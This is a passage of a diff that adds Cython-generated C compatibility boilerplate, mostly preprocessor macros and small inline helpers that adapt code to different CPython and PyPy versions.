CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) 